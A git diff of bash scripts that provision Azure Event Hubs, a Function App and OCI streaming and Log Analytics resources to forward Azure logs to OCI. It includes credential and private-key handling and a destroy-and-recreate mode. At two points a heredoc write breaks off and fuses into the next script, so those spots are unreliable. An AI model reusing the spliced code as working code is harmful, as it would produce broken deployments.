+ if [[ ! -f "$env_path" && "$env_path" == *.env.local ]]; then + legacy_env_path="${env_path%.local}" + fi + if [[ -f "$env_path" ]]; then + info "Loading existing values from $env_path" + set +u; set -a + # shellcheck disable=SC1090 + source "$env_path" + set +a; set -u + elif [[ -n "$legacy_env_path" && -f "$legacy_env_path" ]]; then + info "Loading existing values from $legacy_env_path" + set +u; set -a + # shellcheck disable=SC1090 + source "$legacy_env_path" + set +a; set -u + fi +} + +# update_env_var KEY VALUE [file] +# Add or update a KEY=VALUE pair in .env.local without clobbering other entries. +# Creates the file if it doesn't exist. +# Uses temp-file + mv instead of sed -i for macOS/Linux portability. +update_env_var() { + local key="$1" value="$2" + local env_file="${3:-${REPO_ROOT:-.}/.env.local}" + + # Ensure file exists + if [[ ! -f "$env_file" ]]; then + touch "$env_file" + fi + + if grep -q "^${key}=" "$env_file" 2>/dev/null; then + # Update existing line (temp-file approach avoids sed -i portability issues) + # Use single quotes to prevent command substitution when .env is source'd + local tmpfile + tmpfile="$(mktemp)" + while IFS= read -r line || [[ -n "$line" ]]; do + if [[ "$line" == "${key}="* ]]; then + printf "%s='%s'\n" "${key}" "${value}" + else + printf '%s\n' "$line" + fi + done < "$env_file" > "$tmpfile" + mv "$tmpfile" "$env_file" + else + # Append new entry + printf "%s='%s'\n" "${key}" "${value}" >> "$env_file" + fi +} diff --git a/observability-and-management/assets/azurelogs2oci/scripts/provision_azure_to_oci.sh b/observability-and-management/assets/azurelogs2oci/scripts/provision_azure_to_oci.sh new file mode 100644 index 000000000..66e889dae --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/scripts/provision_azure_to_oci.sh @@ -0,0 +1,458 @@ +#!/usr/bin/env bash +# Provision Azure resources (RG, storage, Function App) and deploy azurelogs2oci for continuous delivery to OCI Streaming. +# - Loads .env.local if present and prompts for any missing values. +# - Discovers Event Hubs and connection string via Azure CLI when possible. +# - Prefers Azure Functions Core Tools remote build for Linux-safe deployment. +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" +ENV_PATH="$REPO_ROOT/.env.local" +FUNCTION_PATH="$REPO_ROOT/function/EventHubsNamespaceToOCIStreaming" + +# shellcheck source=lib/common.sh +source "$SCRIPT_DIR/lib/common.sh" +# shellcheck source=discover_resources.sh +source "$SCRIPT_DIR/discover_resources.sh" + +require_cmd az +require_cmd python3 +if ! command -v func >/dev/null 2>&1; then + require_cmd zip +fi + +# Verify Azure CLI is logged in +if ! az account show >/dev/null 2>&1; then + err "Azure CLI is not logged in. Run 'az login' first." + exit 1 +fi + +# Load existing env without failing on unset +load_env "$ENV_PATH" + +# ── Collect basic Azure parameters ──────────────────────────── +echo "" +echo "============================================================" +echo " Azure → OCI Streaming Provisioning" +echo "============================================================" +echo "" + +# Inputs with defaults +RG_DEFAULT="${AZ_RG:-${RESOURCE_GROUP:-azurelogs2oci-rg}}" +LOC_DEFAULT="${AZ_LOCATION:-${LOCATION:-westeurope}}" +SA_DEFAULT="${AZ_STORAGE_ACCOUNT:-}" +APP_DEFAULT="${AZ_FUNCTION_APP:-}" +PLAN_TYPE_DEFAULT="${PLAN_TYPE:-consumption}" # consumption | premium + +EVENTHUB_RG="${EVENTHUB_RG:-$RG_DEFAULT}" +EVENTHUB_NAMESPACE="${EVENTHUB_NAMESPACE:-}" +EVENTHUB_CONSUMER_GROUP="${EventHubConsumerGroup:-${EVENTHUB_CONSUMER_GROUP:-\$Default}}" +EVENTHUB_NAMES_CSV="${EventHubNamesCsv:-${EVENTHUB_NAME:-}}" + +OCI_MESSAGE_ENDPOINT="${OCI_MESSAGE_ENDPOINT:-${MessageEndpoint:-}}" +OCI_STREAM_OCID="${OCI_STREAM_OCID:-${StreamOcid:-}}" +user="${user:-}" +key_content="${key_content:-}" +pass_phrase="${pass_phrase:-}" +fingerprint="${fingerprint:-}" +tenancy="${tenancy:-}" +region="${region:-us-ashburn-1}" + +AZ_RG="$(prompt_required "Azure resource group" "${EVENTHUB_RG:-$RG_DEFAULT}")" +AZ_LOCATION="$(prompt_required "Azure location" "$LOC_DEFAULT")" +discover_azure_defaults "$AZ_RG" +EVENTHUB_NAMESPACE="${EVENTHUB_NAMESPACE:-${DISC_AZ_SUGGESTED_EVENTHUB_NAMESPACE:-}}" +SA_DEFAULT="${SA_DEFAULT:-${DISC_AZ_SUGGESTED_STORAGE_ACCOUNT:-}}" +APP_DEFAULT="${APP_DEFAULT:-${DISC_AZ_SUGGESTED_FUNCTION_APP:-}}" +EVENTHUB_NAMESPACE="$(prompt_required "Event Hubs namespace" "${EVENTHUB_NAMESPACE:-}")" +PLAN_TYPE="$(prompt_required "Function plan type (consumption/premium)" "$PLAN_TYPE_DEFAULT")" + +# ── Discover existing Azure resources ───────────────────────── +discover_azure_resources || true + +AZURE_MODE="create" # create | reuse | destroy + +AZURE_FOUND=0 +[[ "$DISC_AZ_RG_EXISTS" == "true" ]] && ((AZURE_FOUND++)) || true +[[ "$DISC_AZ_EVENTHUB_NS_EXISTS" == "true" ]] && ((AZURE_FOUND++)) || true +[[ "$DISC_AZ_FUNCTION_APP_EXISTS" == "true" ]] && ((AZURE_FOUND++)) || true + +if [[ $AZURE_FOUND -gt 0 ]]; then + show_discovery_summary "azure" + + echo "Existing Azure resources found ($AZURE_FOUND)." + echo "" + echo " [1] Use existing resources (reuse what's found)" + echo " [2] Create new resources (prompted for new names)" + echo " [3] Destroy existing and recreate" + echo "" + read -r -p "Choose [1/2/3] (default: 1): " az_choice + az_choice="${az_choice:-1}" + + case "$az_choice" in + 1) AZURE_MODE="reuse" ;; + 2) AZURE_MODE="create" ;; + 3) AZURE_MODE="destroy" ;; + *) warn "Invalid choice; defaulting to [1] reuse."; AZURE_MODE="reuse" ;; + esac +fi + +# Handle destroy mode +if [[ "$AZURE_MODE" == "destroy" ]]; then + warn "Destroying existing Azure resources..." + if [[ "$DISC_AZ_RG_EXISTS" == "true" ]]; then + info "Deleting resource group $AZ_RG (cascades to all resources)..." + az group delete -n "$AZ_RG" --yes 2>/dev/null || true + ok "Resource group deleted" + fi + AZURE_MODE="create" +fi + +# Ensure resource group exists before any downstream Azure operations +info "Ensuring resource group exists..." +az group create -n "$AZ_RG" -l "$AZ_LOCATION" >/dev/null + +if [[ "$AZURE_MODE" == "reuse" ]]; then + info "Reusing existing Azure Event Hub resources." +fi + +info "Fetching Event Hubs in namespace '$EVENTHUB_NAMESPACE'..." +HUBS=() +set +e +while IFS= read -r line; do + [[ -n "$line" ]] && HUBS+=("$line") +done < <(az eventhubs eventhub list --resource-group "$AZ_RG" --namespace-name "$EVENTHUB_NAMESPACE" --query "[].name" -o tsv 2>/dev/null) +set -e + +if [[ ${#HUBS[@]} -gt 0 ]]; then + info "Available Event Hubs:" + i=1 + for h in "${HUBS[@]}"; do + echo " [$i] $h" + ((i++)) + done + read -r -p "Enter comma-separated numbers or names to include (leave blank to keep current '${EVENTHUB_NAMES_CSV:-}'): " selection + if [[ -n "$selection" ]]; then + IFS=',' read -r -a choices <<<"$selection" + SELECTED=() + for c in "${choices[@]}"; do + c_trim="${c//[[:space:]]/}" + if [[ "$c_trim" =~ ^[0-9]+$ ]]; then + idx=$((c_trim-1)) + [[ $idx -ge 0 && $idx -lt ${#HUBS[@]} ]] && SELECTED+=("${HUBS[$idx]}") + elif [[ -n "$c_trim" ]]; then + SELECTED+=("$c_trim") + fi + done + if [[ ${#SELECTED[@]} -gt 0 ]]; then + EVENTHUB_NAMES_CSV="$(IFS=','; echo "${SELECTED[*]}")" + fi + fi +fi + +EVENTHUB_NAMES_CSV="$(prompt_required "Comma-separated Event Hub names" "${EVENTHUB_NAMES_CSV:-insights-activity-logs}")" +EVENTHUB_CONSUMER_GROUP="$(prompt_required "Consumer group for function (leave \$Default if unsure)" "$EVENTHUB_CONSUMER_GROUP")" +PRIMARY_EVENTHUB="$(echo "$EVENTHUB_NAMES_CSV" | cut -d',' -f1 | tr -d '[:space:]')" + +# Ensure Event Hub namespace and hubs exist (creates if missing, skips if reusing) +if [[ "$AZURE_MODE" != "reuse" ]]; then + info "Ensuring Event Hubs namespace exists..." + if ! az eventhubs namespace show --resource-group "$AZ_RG" --name "$EVENTHUB_NAMESPACE" >/dev/null 2>&1; then + az eventhubs namespace create --resource-group "$AZ_RG" --name "$EVENTHUB_NAMESPACE" --location "$AZ_LOCATION" >/dev/null + ok "Created Event Hubs namespace $EVENTHUB_NAMESPACE" + else + ok "Namespace $EVENTHUB_NAMESPACE exists" + fi + + IFS=',' read -r -a HUB_LIST <<<"$EVENTHUB_NAMES_CSV" + for hub in "${HUB_LIST[@]}"; do + hub_trim="${hub//[[:space:]]/}" + [[ -z "$hub_trim" ]] && continue + if ! az eventhubs eventhub show --resource-group "$AZ_RG" --namespace-name "$EVENTHUB_NAMESPACE" --name "$hub_trim" >/dev/null 2>&1; then + az eventhubs eventhub create --resource-group "$AZ_RG" --namespace-name "$EVENTHUB_NAMESPACE" --name "$hub_trim" >/dev/null + ok "Created Event Hub $hub_trim" + else + ok "Event Hub $hub_trim exists" + fi + if [[ "$EVENTHUB_CONSUMER_GROUP" != "\$Default" ]]; then + if ! az eventhubs eventhub consumer-group show --resource-group "$AZ_RG" --namespace-name "$EVENTHUB_NAMESPACE" --eventhub-name "$hub_trim" --name "$EVENTHUB_CONSUMER_GROUP" >/dev/null 2>&1; then + az eventhubs eventhub consumer-group create --resource-group "$AZ_RG" --namespace-name "$EVENTHUB_NAMESPACE" --eventhub-name "$hub_trim" --name "$EVENTHUB_CONSUMER_GROUP" >/dev/null + ok "Created consumer group $EVENTHUB_CONSUMER_GROUP on $hub_trim" + fi + fi + done +else + ok "Using existing Event Hub resources (namespace: $EVENTHUB_NAMESPACE)" +fi + +# Resolve connection string with retries +info "Resolving Event Hubs connection string from Azure..." +EventHubsConnectionString="" +for attempt in 1 2 3; do + set +e + EventHubsConnectionString="$(az eventhubs namespace authorization-rule keys list \ + --resource-group "$AZ_RG" \ + --namespace-name "$EVENTHUB_NAMESPACE" \ + --name "RootManageSharedAccessKey" \ + --query primaryConnectionString -o tsv 2>/dev/null)" + rc=$? + set -e + [[ $rc -eq 0 && -n "$EventHubsConnectionString" ]] && break + warn "Attempt $attempt to resolve connection string failed. Retrying in 5s..." + sleep 5 +done + +if [[ -z "$EventHubsConnectionString" ]]; then + warn "Could not auto-resolve connection string." + EventHubsConnectionString="$(prompt_required "EventHubsConnectionString" "${EventHubsConnectionString:-Endpoint=sb://...}")" +else + ok "Resolved connection string" +fi + +# OCI inputs +discover_oci_stream_defaults +if [[ "$DISC_OCI_STREAM_OCID_IS_POOL" == "true" ]]; then + warn "Configured OCI_STREAM_OCID points to a Stream Pool. The Function requires a Stream OCID." + OCI_STREAM_OCID="" +fi +OCI_STREAM_OCID="${OCI_STREAM_OCID:-${DISC_OCI_SUGGESTED_STREAM_ID:-}}" +OCI_MESSAGE_ENDPOINT="${OCI_MESSAGE_ENDPOINT:-${DISC_OCI_SUGGESTED_MESSAGE_ENDPOINT:-}}" + +OCI_STREAM_OCID="$(prompt_required "OCI stream OCID (not stream pool)" "${OCI_STREAM_OCID:-ocid1.stream.oc1..xxxx}")" +if is_oci_stream_pool_ocid "$OCI_STREAM_OCID"; then + err "OCI_STREAM_OCID points to a Stream Pool. Use the Stream OCID (ocid1.stream...)." + exit 1 +fi +OCI_MESSAGE_ENDPOINT="$(prompt_required "OCI message endpoint" "${OCI_MESSAGE_ENDPOINT:-https://cell-1.streaming..oci.oraclecloud.com}")" +user="$(prompt_required "OCI user OCID" "${user:-ocid1.user.oc1..example}")" +fingerprint="$(prompt_required "OCI API key fingerprint" "${fingerprint:-}")" +tenancy="$(prompt_required "OCI tenancy OCID" "${tenancy:-ocid1.tenancy.oc1..example}")" +region="$(prompt_required "OCI region" "$region")" + +if [[ -z "$key_content" || "$key_content" == "-----BEGIN PRIVATE KEY----- ... -----END PRIVATE KEY-----" ]]; then + read -r -p "Path to OCI private key file (leave blank to paste): " key_path + if [[ -z "$key_path" && -n "${KEY_FILE:-}" && -f "${KEY_FILE:-}" ]]; then + key_path="$KEY_FILE" + fi + if [[ -n "$key_path" && -f "$key_path" ]]; then + KEY_FILE="$key_path" + key_content="$(cat "$key_path")" + else + key_content="$(prompt_secret "Paste OCI private key content (will be stored in Function App settings)")" + fi +fi +# Normalize key_content (strip CR and trailing spaces) +key_content="$(printf '%s' "$key_content" | tr -d '\r')" +pass_phrase="$(prompt_default "OCI key pass phrase (blank if none)" "${pass_phrase:-}")" + +# Azure names +if [[ -z "${SA_DEFAULT}" ]]; then + RAND=$(python3 - <<'PY' +import random,string +print('logs' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))) +PY +) + AZ_STORAGE_ACCOUNT="$RAND" +else + AZ_STORAGE_ACCOUNT="$SA_DEFAULT" +fi +if [[ -z "${APP_DEFAULT}" ]]; then + RAND_APP=$(python3 - <<'PY' +import random,string +print('azurelogs2oci-' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))) +PY +) + AZ_FUNCTION_APP="$RAND_APP" +else + AZ_FUNCTION_APP="$APP_DEFAULT" +fi +AZ_PLAN="${AZ_FUNCTION_APP}-plan" + +AZ_STORAGE_ACCOUNT="$(prompt_default "Azure storage account name (must be globally unique)" "$AZ_STORAGE_ACCOUNT")" +AZ_FUNCTION_APP="$(prompt_default "Azure Function App name" "$AZ_FUNCTION_APP")" +AZ_PLAN="$(prompt_default "Azure App Service plan name (used for premium)" "$AZ_PLAN")" + +info "Creating resource group (if needed)..." +az group create -n "$AZ_RG" -l "$AZ_LOCATION" >/dev/null + +info "Creating storage account (if needed)..." +az storage account create -g "$AZ_RG" -n "$AZ_STORAGE_ACCOUNT" -l "$AZ_LOCATION" --sku Standard_LRS >/dev/null + +info "Creating Function App (if needed)..." +if ! az functionapp show -g "$AZ_RG" -n "$AZ_FUNCTION_APP" >/dev/null 2>&1; then + if [[ "$PLAN_TYPE" == "premium" ]]; then + info "Creating premium plan $AZ_PLAN (EP1)..." + az functionapp plan create \ + -g "$AZ_RG" \ + -n "$AZ_PLAN" \ + --location "$AZ_LOCATION" \ + --number-of-workers 1 \ + --sku EP1 \ + --is-linux >/dev/null + az functionapp create \ + -g "$AZ_RG" \ + -n "$AZ_FUNCTION_APP" \ + --plan "$AZ_PLAN" \ + --runtime python \ + --runtime-version 3.11 \ + --functions-version 4 \ + --os-type linux \ + --storage-account "$AZ_STORAGE_ACCOUNT" >/dev/null + else + az functionapp create \ + -g "$AZ_RG" \ + -n "$AZ_FUNCTION_APP" \ + --consumption-plan-location "$AZ_LOCATION" \ + --runtime python \ + --runtime-version 3.11 \ + --functions-version 4 \ + --os-type linux \ + --storage-account "$AZ_STORAGE_ACCOUNT" >/dev/null + fi +else + warn "Function App $AZ_FUNCTION_APP already exists; will reuse." +fi + +# Flatten key_content to single line for app settings +KEY_ONELINE="$(printf '%s' "$key_content" | tr -d '\r' | tr '\n' ' ' | sed -E 's/[[:space:]]+/ /g')" + +info "Configuring app settings..." +az functionapp config appsettings set -g "$AZ_RG" -n "$AZ_FUNCTION_APP" --settings \ + EventHubsConnectionString="$EventHubsConnectionString" \ + EventHubConsumerGroup="$EVENTHUB_CONSUMER_GROUP" \ + EventHubName="$PRIMARY_EVENTHUB" \ + EventHubNamesCsv="$EVENTHUB_NAMES_CSV" \ + MessageEndpoint="$OCI_MESSAGE_ENDPOINT" \ + StreamOcid="$OCI_STREAM_OCID" \ + user="$user" \ + key_content="$KEY_ONELINE" \ + pass_phrase="$pass_phrase" \ + fingerprint="$fingerprint" \ + tenancy="$tenancy" \ + region="$region" \ + SCM_DO_BUILD_DURING_DEPLOYMENT="true" \ + ENABLE_ORYX_BUILD="true" >/dev/null + +pushd "$FUNCTION_PATH" >/dev/null +# Remove any local .python_packages to avoid bundling platform-specific wheels +rm -rf .python_packages +if command -v func >/dev/null 2>&1; then + info "Deploying with Azure Functions Core Tools remote build..." + func azure functionapp publish "$AZ_FUNCTION_APP" --python --build remote --force +else + warn "Functions Core Tools (func) not found; falling back to Azure CLI zip deploy with remote build." + warn "If deployment indexing fails on Azure Linux, install Functions Core Tools and rerun." + TMP_DIR="$(mktemp -d)" + TMP_ZIP="$TMP_DIR/azurelogs2oci.zip" + zip -qry "$TMP_ZIP" . -x ".venv/*" "__pycache__/*" "*/__pycache__/*" "*.pyc" ".python_packages/*" ".funcignore" "local.settings.json" + info "Deploying zip to Function App with remote build (Oryx)..." + az functionapp deployment source config-zip -g "$AZ_RG" -n "$AZ_FUNCTION_APP" --src "$TMP_ZIP" --build-remote true >/dev/null +fi +popd >/dev/null + +info "Verifying deployed functions are indexed..." +DEPLOYED_FUNCTIONS="" +for attempt in 1 2 3 4 5 6; do + set +e + DEPLOYED_FUNCTIONS="$(az functionapp function list -g "$AZ_RG" -n "$AZ_FUNCTION_APP" --query "[].name" -o tsv 2>/dev/null)" + rc=$? + set -e + if [[ $rc -eq 0 && -n "$DEPLOYED_FUNCTIONS" ]]; then + break + fi + sleep 10 +done +if [[ -n "$DEPLOYED_FUNCTIONS" ]]; then + ok "Function indexing complete: $(printf '%s' "$DEPLOYED_FUNCTIONS" | paste -sd, -)" +else + warn "Function indexing could not be confirmed yet. Check 'az functionapp function list -g $AZ_RG -n $AZ_FUNCTION_APP'." +fi + +# Persist latest values to .env.local for reuse +info "Updating $ENV_PATH with latest values..." +cat > "$ENV_PATH" <}")" +discover_azure_defaults "$EVENTHUB_RG" +NS_DEFAULT="${NS_DEFAULT:-${DISC_AZ_SUGGESTED_EVENTHUB_NAMESPACE:-}}" +EVENTHUB_NAMESPACE="$(prompt_default "Event Hubs namespace" "${NS_DEFAULT:-}")" + +# Discover event hubs and allow multi-select +info "Fetching Event Hubs in namespace '$EVENTHUB_NAMESPACE'..." +set +e +HUBS=() +while IFS= read -r line; do + [[ -n "$line" ]] && HUBS+=("$line") +done < <(az eventhubs eventhub list --resource-group "$EVENTHUB_RG" --namespace-name "$EVENTHUB_NAMESPACE" --query "[].name" -o tsv 2>/dev/null) +set -e + +EVENTHUB_NAMES_CSV="" +if [[ ${#HUBS[@]} -gt 0 ]]; then + info "Available Event Hubs:" + i=1 + for h in "${HUBS[@]}"; do + echo " [$i] $h" + ((i++)) + done +read -r -p "Enter comma-separated numbers (or names) to include (leave blank to keep previous value): " selection +if [[ -n "$selection" ]]; then + # Accept numbers or names + IFS=',' read -r -a choices <<<"$selection" + SELECTED=() + for c in "${choices[@]}"; do + c_trim="${c//[[:space:]]/}" + if [[ "$c_trim" =~ ^[0-9]+$ ]]; then + idx=$((c_trim-1)) + [[ $idx -ge 0 && $idx -lt ${#HUBS[@]} ]] && SELECTED+=("${HUBS[$idx]}") + elif [[ -n "$c_trim" ]]; then + SELECTED+=("$c_trim") + fi + done + if [[ ${#SELECTED[@]} -gt 0 ]]; then + EVENTHUB_NAMES_CSV="$(IFS=','; echo "${SELECTED[*]}")" + fi + fi +fi + +if [[ -z "$EVENTHUB_NAMES_CSV" ]]; then + EVENTHUB_NAMES_CSV="$(prompt_default "Comma-separated Event Hub names" "${EventHubNamesCsv:-${EH_DEFAULT:-insights-activity-logs}}")" +fi + +EVENTHUB_CONSUMER_GROUP="$(prompt_default "Consumer group" "$CG_DEFAULT")" +PRIMARY_EVENTHUB="$(echo "$EVENTHUB_NAMES_CSV" | cut -d',' -f1 | tr -d '[:space:]')" + +# Connection string via Azure CLI +info "Resolving Event Hubs connection string from Azure..." +set +e +EVENTHUB_CONNECTION_STRING="$(az eventhubs namespace authorization-rule keys list \ + --resource-group "$EVENTHUB_RG" \ + --namespace-name "$EVENTHUB_NAMESPACE" \ + --name "RootManageSharedAccessKey" \ + --query primaryConnectionString -o tsv 2>/dev/null)" +set -e +if [[ -z "$EVENTHUB_CONNECTION_STRING" ]]; then + warn "Could not resolve connection string automatically. Please paste it." + EVENTHUB_CONNECTION_STRING="$(prompt_default "EventHubsConnectionString" "${EventHubsConnectionString:-Endpoint=sb://...}")" +else + ok "Resolved connection string from Azure CLI" +fi + +discover_oci_stream_defaults +if [[ "$DISC_OCI_STREAM_OCID_IS_POOL" == "true" ]]; then + warn "Configured OCI stream value points to a Stream Pool. Select the Stream OCID instead." + OCI_STREAM_DEFAULT="" +fi +OCI_STREAM_DEFAULT="${OCI_STREAM_DEFAULT:-${DISC_OCI_SUGGESTED_STREAM_ID:-}}" +OCI_ENDPOINT_DEFAULT="${OCI_ENDPOINT_DEFAULT:-${DISC_OCI_SUGGESTED_MESSAGE_ENDPOINT:-}}" + +OCI_STREAM_OCID="$(prompt_default "OCI stream OCID (not stream pool)" "${OCI_STREAM_DEFAULT:-ocid1.stream.oc1..xxxx}")" +if is_oci_stream_pool_ocid "$OCI_STREAM_OCID"; then + err "OCI stream value points to a Stream Pool. Use the Stream OCID (ocid1.stream...)." + exit 1 +fi +OCI_MESSAGE_ENDPOINT="$(prompt_default "OCI message endpoint" "${OCI_ENDPOINT_DEFAULT:-https://cell-1.streaming..oci.oraclecloud.com}")" + +user="$(prompt_default "OCI user OCID" "${user:-ocid1.user.oc1..example}")" +fingerprint="$(prompt_default "OCI API key fingerprint" "${fingerprint:-}")" +tenancy="$(prompt_default "OCI tenancy OCID" "${tenancy:-ocid1.tenancy.oc1..example}")" +region="$(prompt_default "OCI region" "$REGION_DEFAULT")" + +key_content="${key_content:-}" +if [[ -z "$key_content" || "$key_content" == "-----BEGIN PRIVATE KEY----- ... -----END PRIVATE KEY-----" ]]; then + read -r -p "Path to OCI private key file (leave blank to paste manually): " key_path + if [[ -n "$key_path" && -f "$key_path" ]]; then + key_content="$(cat "$key_path")" + else + key_content="$(prompt_secret "Paste OCI private key content (will be written to .env.local)")" + fi +fi +pass_phrase="$(prompt_default "OCI key pass phrase (blank if none)" "${pass_phrase:-}")" + +# Confirm write +if [[ -f "$ENV_PATH" ]]; then + warn "$ENV_PATH exists and will be overwritten." +fi +cat > "$ENV_PATH" </dev/null; then + err "OCI Python SDK not found. Install it with: pip install oci" + exit 1 +fi + +# Load existing env +load_env "$ENV_PATH" + +# ── Collect required OCI parameters ────────────────────────── +OCI_COMPARTMENT_ID="${OCI_COMPARTMENT_ID:-${OCI_COMPARTMENT_OCID:-}}" +OCI_REGION="${region:-${OCI_REGION:-}}" +OCI_USER_OCID="${user:-${OCI_USER_OCID:-}}" +OCI_FINGERPRINT="${fingerprint:-${OCI_FINGERPRINT:-}}" +OCI_TENANCY_OCID="${tenancy:-${OCI_TENANCY_OCID:-}}" +OCI_KEY_FILE="${KEY_FILE:-${OCI_KEY_FILE:-}}" +OCI_KEY_CONTENT="${key_content:-${OCI_KEY_CONTENT:-}}" +OCI_KEY_PASSPHRASE="${pass_phrase:-${OCI_KEY_PASSPHRASE:-}}" + +OCI_COMPARTMENT_ID="$(prompt_required "OCI compartment OCID" "$OCI_COMPARTMENT_ID")" +OCI_REGION="$(prompt_required "OCI region" "${OCI_REGION:-us-ashburn-1}")" + +if [[ -z "$OCI_USER_OCID" ]]; then + OCI_USER_OCID="$(prompt_required "OCI user OCID" "")" +fi +if [[ -z "$OCI_FINGERPRINT" ]]; then + OCI_FINGERPRINT="$(prompt_required "OCI API key fingerprint" "")" +fi +if [[ -z "$OCI_TENANCY_OCID" ]]; then + OCI_TENANCY_OCID="$(prompt_required "OCI tenancy OCID" "")" +fi +if [[ -z "$OCI_KEY_CONTENT" && -z "$OCI_KEY_FILE" ]]; then + read -r -p "Path to OCI private key file (leave blank to paste): " key_path + if [[ -n "$key_path" && -f "$key_path" ]]; then + OCI_KEY_FILE="$key_path" + OCI_KEY_CONTENT="$(cat "$key_path")" + else + read -r -s -p "Paste OCI private key content: " OCI_KEY_CONTENT + echo + fi +elif [[ -z "$OCI_KEY_CONTENT" && -n "$OCI_KEY_FILE" && -f "$OCI_KEY_FILE" ]]; then + OCI_KEY_CONTENT="$(cat "$OCI_KEY_FILE")" +fi + +# Defaults +STREAM_POOL_NAME="${OCI_STREAM_POOL_NAME:-MultiCloud_Log_Pool}" +STREAM_NAME="${OCI_STREAM_NAME:-azure-inbound-stream}" +PARTITIONS="${OCI_STREAM_PARTITIONS:-1}" +LOG_GROUP_NAME="${OCI_LOG_GROUP_NAME:-AzureLogs}" +NAMESPACE="${OCI_LOG_ANALYTICS_NAMESPACE:-}" +SCH_NAME="${OCI_SCH_NAME:-Azure-Stream-to-LogAnalytics}" + +# Parser / source names +PARSER_NAME="azureEntraIDAuditJsonParser" +SOURCE_NAME="Azure Logs" + +echo "" +echo "============================================================" +echo " OCI End-to-End Setup for azurelogs2oci" +echo "============================================================" +echo " Compartment: ${OCI_COMPARTMENT_ID:0:30}..." +echo " Region: $OCI_REGION" +echo " Stream Pool: $STREAM_POOL_NAME" +echo " Stream: $STREAM_NAME" +echo " Log Group: $LOG_GROUP_NAME" +echo " SCH: $SCH_NAME" +echo " Parser: $PARSER_NAME" +echo " Source: $SOURCE_NAME" +echo "============================================================" +echo "" + +# ── Auto-detect Log Analytics namespace ────────────────────── +if [[ -z "$NAMESPACE" ]]; then + if [[ -z "$OCI_TENANCY_OCID" ]]; then + err "OCI tenancy OCID is required for namespace detection." + err "Set 'tenancy' or 'OCI_TENANCY_OCID' in .env.local." + exit 1 + fi + info "Detecting Log Analytics namespace..." + NAMESPACE=$(oci log-analytics namespace list \ + --compartment-id "$OCI_TENANCY_OCID" \ + --query 'data.items[0]."namespace-name"' --raw-output 2>/dev/null || true) + if [[ -z "$NAMESPACE" || "$NAMESPACE" == "null" ]]; then + err "Could not detect Log Analytics namespace." + err "Ensure Log Analytics is onboarded in your tenancy:" + err " OCI Console > Observability & Management > Log Analytics > 'Start Using Log Analytics'" + err "Or set OCI_LOG_ANALYTICS_NAMESPACE explicitly." + exit 1 + fi + ok "Namespace: $NAMESPACE" +fi + +# ── Discover existing OCI resources ────────────────────────── +discover_oci_resources || true +show_discovery_summary "oci" + +# Count how many resources were found +FOUND_COUNT=0 +[[ -n "$DISC_OCI_STREAM_POOL_ID" ]] && ((FOUND_COUNT++)) || true +[[ -n "$DISC_OCI_STREAM_ID" ]] && ((FOUND_COUNT++)) || true +[[ -n "$DISC_OCI_LOG_GROUP_ID" ]] && ((FOUND_COUNT++)) || true +[[ -n "$DISC_OCI_SCH_ID" ]] && ((FOUND_COUNT++)) || true +[[ -n "$DISC_OCI_LA_SOURCE" ]] && ((FOUND_COUNT++)) || true + +SETUP_MODE="create" # create | reuse | destroy + +if [[ $FOUND_COUNT -gt 0 ]]; then + echo "Existing OCI resources found ($FOUND_COUNT/5)." + echo "" + echo " [1] Use existing resources (skip creation for found resources)" + echo " [2] Create new alongside existing (prompted for new names)" + echo " [3] Destroy existing and recreate from scratch" + echo "" + read -r -p "Choose [1/2/3] (default: 1): " choice + choice="${choice:-1}" + + case "$choice" in + 1) SETUP_MODE="reuse" ;; + 2) SETUP_MODE="create" ;; + 3) SETUP_MODE="destroy" ;; + *) warn "Invalid choice; defaulting to [1] reuse."; SETUP_MODE="reuse" ;; + esac +else + info "No existing resources found. Creating all from scratch." +fi + +# If destroy mode: tear down existing resources first +if [[ "$SETUP_MODE" == "destroy" ]]; then + warn "Destroying existing OCI resources..." + + # SCH + if [[ -n "$DISC_OCI_SCH_ID" ]]; then + info "Deleting SCH..." + local_sch_state=$(oci sch service-connector get \ + --service-connector-id "$DISC_OCI_SCH_ID" \ + --query 'data."lifecycle-state"' --raw-output 2>/dev/null || echo "UNKNOWN") + if [[ "$local_sch_state" == "ACTIVE" ]]; then + oci sch service-connector deactivate \ + --service-connector-id "$DISC_OCI_SCH_ID" \ + --wait-for-state SUCCEEDED \ + --max-wait-seconds 120 >/dev/null 2>&1 || true + fi + oci sch service-connector delete \ + --service-connector-id "$DISC_OCI_SCH_ID" \ + --force \ + --wait-for-state SUCCEEDED \ + --max-wait-seconds 300 2>/dev/null || true + ok "SCH deleted" + fi + + # LA content + if [[ -n "$NAMESPACE" ]]; then + export LA_NAMESPACE="$NAMESPACE" + export OCI_COMPARTMENT_ID + export OCI_USER_OCID OCI_FINGERPRINT OCI_TENANCY_OCID OCI_KEY_CONTENT OCI_KEY_FILE OCI_KEY_PASSPHRASE OCI_REGION + python3 "$SCRIPT_DIR/teardown_oci_log_analytics.py" || true + fi + + # Log Group + if [[ -n "$DISC_OCI_LOG_GROUP_ID" ]]; then + info "Deleting Log Group..." + oci log-analytics log-group delete \ + --namespace-name "$NAMESPACE" \ + --log-group-id "$DISC_OCI_LOG_GROUP_ID" \ + --force 2>/dev/null || true + ok "Log Group deleted" + fi + + # Stream + if [[ -n "$DISC_OCI_STREAM_ID" ]]; then + info "Deleting Stream..." + oci streaming admin stream delete \ + --stream-id "$DISC_OCI_STREAM_ID" \ + --force \ + --wait-for-state DELETED \ + --max-wait-seconds 120 2>/dev/null || true + ok "Stream deleted" + fi + + # Stream Pool + if [[ -n "$DISC_OCI_STREAM_POOL_ID" ]]; then + info "Deleting Stream Pool..." + oci streaming admin stream-pool delete \ + --stream-pool-id "$DISC_OCI_STREAM_POOL_ID" \ + --force \ + --wait-for-state DELETED \ + --max-wait-seconds 120 2>/dev/null || true + ok "Stream Pool deleted" + fi + + ok "Existing resources destroyed. Proceeding to create..." + # Reset discovery vars so creation logic runs + DISC_OCI_STREAM_POOL_ID="" + DISC_OCI_STREAM_ID="" + DISC_OCI_LOG_GROUP_ID="" + DISC_OCI_SCH_ID="" + DISC_OCI_LA_SOURCE="" + SETUP_MODE="create" +fi + +# ── 1. Stream Pool ─────────────────────────────────────────── +echo "" +echo "1/7 Stream Pool: $STREAM_POOL_NAME" + +if [[ "$SETUP_MODE" == "reuse" && -n 